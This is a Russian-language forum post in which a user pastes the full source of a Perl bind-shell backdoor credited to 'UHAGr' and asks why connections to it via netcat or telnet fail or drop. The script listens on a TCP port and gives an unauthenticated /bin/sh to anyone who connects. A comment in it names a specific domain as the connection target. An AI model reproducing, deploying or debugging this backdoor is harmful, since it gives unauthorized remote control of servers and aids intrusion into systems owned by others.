вылетает , что делать

02.09.2012, 02:59

RexelNet

Новичок

Регистрация: 21.10.2010

Сообщений: 21

С нами: 8188886

Репутация: -5

есть сервер с забинденным портом , юзаю это

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#!/usr/bin/perl   ##############################################  # Simple backdoor by UHAGr coded by ghostian #  # usage: ./UHAGr-bd.pl  (default 75000)#  # On shell ls = ls; etc.         &n bsp;         &n bsp; #  #           ;   www.uhagr.org    &nbs p;         &nbs p;   #  ##############################################  # nc http://joncraton.org/files/nc111nt.zip  use IO::Socket;    $msg = "echo ::[UHAGr] Yeah! ::-";  $port = ($ARGV[0]);  $shell = "/bin/sh";   if (!$port) { $port="7500"; }   $local = IO::Socket::INET->new(Proto=>"tcp", LocalPort=>"$port",  Listen=>"1") or die "Port allready in use \n";   print "  ##############################################  # Simple backdoor by UHAGr coded by ghostian #  # usage: ./UHAGr-bd.pl  (default 75000)#  # On shell ls = ls; etc.         &n bsp;         &n bsp; #  #           ;   www.uhagr.org    &nbs p;         &nbs p;   #  #  perl bind.pl 73000     , cmdlie art-consalting.ru 73000                          # ##############################################  ";     while (accept(remote, $local)) {         open(STDIN, ">&remote");          open(STDOUT, ">&remote");          open(STDERR, ">kick");           system($msg);          system($shell);         close(STDERR);          close(STDIN);          close(STDOUT);          system("rm kick");   }[/COLOR][/COLOR]

и почемуто не могу подключится, как ставил проверял на работоспособность, с другого сервака пытаюсь подключится через netcat , неполучается, сначала подключался через телнет , но не выполнялись команты, точней невыводился результат, а теперь просто вылетает при подключении, что это может быть? порт открыт проверял

𝕏 Twitter Reddit Telegram Копировать ссылку